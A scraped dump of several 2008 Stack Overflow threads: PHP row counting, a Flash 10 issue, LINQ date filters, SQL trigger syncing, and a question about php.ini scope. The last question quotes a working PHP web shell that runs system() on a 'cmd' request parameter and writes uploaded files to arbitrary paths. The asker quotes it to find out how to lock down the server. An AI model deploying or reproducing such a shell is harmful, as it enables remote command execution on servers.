"https://Stackoverflow.com/users/5512705", "pm_score": 6, "selected": false, "text": "Debug -> Location -> Custom Location" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214416", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10631/" ]
214,419
<pre><code>$query = "SELECT * FROM `table`"; $results = mysql_query($query, $connection); </code></pre> <p>If 'table' has no rows. whats the easiest way to check for this.?</p>
[ { "answer_id": 214421, "author": "Paige Ruten", "author_id": 813, "author_profile": "https://Stackoverflow.com/users/813", "pm_score": 5, "selected": true, "text": "$query = \"SELECT COUNT(*) AS total FROM table\";\n$results = mysql_query($query, $connection);\n$values = mysql_fetch_assoc($results);\n$num_rows = $values['total'];\n" }, { "answer_id": 214738, "author": "user24632", "author_id": 24632, "author_profile": "https://Stackoverflow.com/users/24632", "pm_score": -1, "selected": false, "text": "$x = 1;\n$query = mysql_query(\"SELECT * FROM table\");\nwhile($row = mysql_fetch_assoc($query))\n{\n $x++;\n}\nif($x == 1)\n{\n //No rows\n}\n" }, { "answer_id": 215062, "author": "Piskvor left the building", "author_id": 19746, "author_profile": "https://Stackoverflow.com/users/19746", "pm_score": 5, "selected": false, "text": "// only ask for the columns that interest you (SELECT * can slow down the query)\n$query = \"SELECT some_column, some_other_column, yet_another_column FROM `table`\";\n$results = mysql_query($query, $connection);\n$numResults = mysql_num_rows($results);\nif ($numResults > 0) {\n // there are some results, retrieve them normally (e.g. with mysql_fetch_assoc())\n} else {\n // no data from query, react accordingly\n}\n" }, { "answer_id": 216103, "author": "Toby Allen", "author_id": 6244, "author_profile": "https://Stackoverflow.com/users/6244", "pm_score": 3, "selected": false, "text": "$query = \"SELECT * FROM `table`\";\n$results = mysql_query($query, $connection);\n$Row = mysql_fetch_assoc($results);\nif ($Row == false)\n{\n $Msg = 'Table is empty';\n}\n" }, { "answer_id": 3298422, "author": "Orson", "author_id": 207756, "author_profile": "https://Stackoverflow.com/users/207756", "pm_score": 0, "selected": false, "text": "$query = \"SELECT COUNT(*) AS total FROM table\";\n$results = mysql_query($query, $connection);\nif ($results) { // or use isset($results)\n$values = mysql_fetch_assoc($results);\n$num_rows = $values['total'];\n}\n" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214419", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
214,424
<p>Upgraded to Flash 10 today and now many flash videos aren't playing on a lot of sites, including a couple i've created. What's the fix?</p> <p><strong>edit</strong> Let me clarify here. this question is intended to find the code change that is needed to allow users of all versions of flash, including the most recent release, to be able to see them.</p>
[ { "answer_id": 216722, "author": "fenomas", "author_id": 10651, "author_profile": "https://Stackoverflow.com/users/10651", "pm_score": 3, "selected": true, "text": "(version==9)" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214424", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23458/" ]
214,426
<p>I want to check if a given date is more than a month earlier than today's date using LINQ.</p> <p>What is the syntax for this?</p> <p>Thanks in advance.</p>
[ { "answer_id": 214442, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 6, "selected": true, "text": "using (DataContext context = new DataContext()) {\n var query = from t in context.table\n where t.CreateDate.Date < DateTime.Today.AddMonths(-1)\n select t;\n}\n" }, { "answer_id": 8899405, "author": "live-love", "author_id": 436341, "author_profile": "https://Stackoverflow.com/users/436341", "pm_score": 3, "selected": false, "text": " DateTime lastMonth = DateTime.Today.AddMonths(-1);\n using (var db = new MyEntities())\n {\n var query = from s in db.ViewOrTable\n orderby s.ColName\n where (s.StartDate > lastMonth)\n select s;\n\n _dsResults = query.ToList();\n }\n" }, { "answer_id": 44141564, "author": "Pallavi", "author_id": 4115214, "author_profile": "https://Stackoverflow.com/users/4115214", "pm_score": 2, "selected": false, "text": "LINQ to Entities does not recognize the method 'System.DateTime AddYears(Int32)' method, and this method cannot be translated into a store expression.\n" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214426", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8783/" ]
214,427
<p>There are two Databases, Database A has a table A with columns of id, group and flag. Database B has a table B with columns of ID and flag. Table B is essentially a subset of table A <code>where the group == 'B'</code>. </p> <p>They are updated/created in odd ways that are outside my understanding at this time, and are beyond the scope of this question (this is not the time to fix the basic setup and practices of this client). </p> <p>The problem is that when the flag in Table A is updated, it is not reflected in table B, but should be. This is not a time-critical problem, so it was suggested I create a job to handle this. Maybe because it's the end of the week, or maybe because I've never written more than the most basic stored procedure (I'm a programmer, not a DBA), but I'm not sure how to go about this.</p> <p>At a simplistic level, the stored procedure would be something along of the lines of</p> <pre><code>Select * in table A where group == B </code></pre> <p>Then, loop through the <code>resultset</code>, and for each id, update the flag.</p> <p>But I'm not even sure how to loop in a <code>stored procedure</code> like this. Suggestions? Example code would be preferred.</p> <p><strong>Complication:</strong> Alright, this gets a little harder too. For every group, Table B is in a separate database, and we need to update this flag for all groups. So, we would have to set up a separate trigger for each group to handle each DB name.</p> <p>And yes, inserts to Table B are already handled - this is just to update flag status.</p>
[ { "answer_id": 214475, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 1, "selected": false, "text": "create trigger update_b_trigger\non Table_A\nfor update\nas\nbegin\n update Table_B\n set Table_B.flag = inserted.flag\n from inserted\n inner join Table_B\n on inserted.id = Table_B.id \n and inserted.group = 'B'\n and inserted.flag <> Table_B.flag\nend\n" }, { "answer_id": 214524, "author": "Matt", "author_id": 4154, "author_profile": "https://Stackoverflow.com/users/4154", "pm_score": 2, "selected": false, "text": "UPDATE Table_B\nSET Table_B.Flag = Table_A.Flag\nFROM Table_A inner join Table_B on Table_A.id = Table_B.id\n" }, { "answer_id": 216309, "author": "Tomas Tintera", "author_id": 15136, "author_profile": "https://Stackoverflow.com/users/15136", "pm_score": 2, "selected": false, "text": "UPDATE \n DatabaseB.dbo.Table_B\nSET \n DatabaseB.dbo.Table_B.[Flag] = DatabaseA.dbo.Table_A.Flag\nFROM \n DatabaseA.dbo.Table_A inner join DatabaseB.dbo.Table_B B \n on DatabaseA.dbo.id = DatabaseB.dbo.B.id\n" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214427", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2130/" ]
214,431
<p>A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script:</p> <pre><code>&lt;?php if(isset($_REQUEST['cmd'])) { echo "&lt;pre&gt;"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "&lt;/pre&gt;"; die; } ?&gt; &lt;?php if(isset($_REQUEST['upload'])) { echo '&lt;form enctype="multipart/form-data" action=".config.php?send" method="POST"&gt; &lt;input type="hidden" name="MAX_FILE_SIZE" value="5120000" /&gt; Send this file: &lt;input name="userfile" type="file" /&gt; To here: &lt;input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" /&gt; &lt;input type="submit" value="Send File" /&gt; &lt;/form&gt;'; } ?&gt; &lt;?php if(isset($_REQUEST['send'])) { $uploaddir = $_POST["direct"]; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir; } else { echo "Upload failed"; } } ?&gt; </code></pre> <p>This script allows him to process commands through in-URL variables.</p> <p>I have disabled system, among other functions, in the php.ini file in my public_html directory. This will prevent the script from running if it's located within my public_html directory, but doesn't stop it if it's in a sub-directory of that. If I copy the php.ini file into a sub-directory it will stop it from running from that directory.</p> <p>My question is, <strong>how do I enable my php.ini file to affect all directories/sub-directories of my server?</strong></p>
[ { "answer_id": 214450, "author": "mauriciopastrana", "author_id": 547, "author_profile": "https://Stackoverflow.com/users/547", "pm_score": 1, "selected": false, "text": "ini_set('your_directive')\n" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214431", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27025/" ]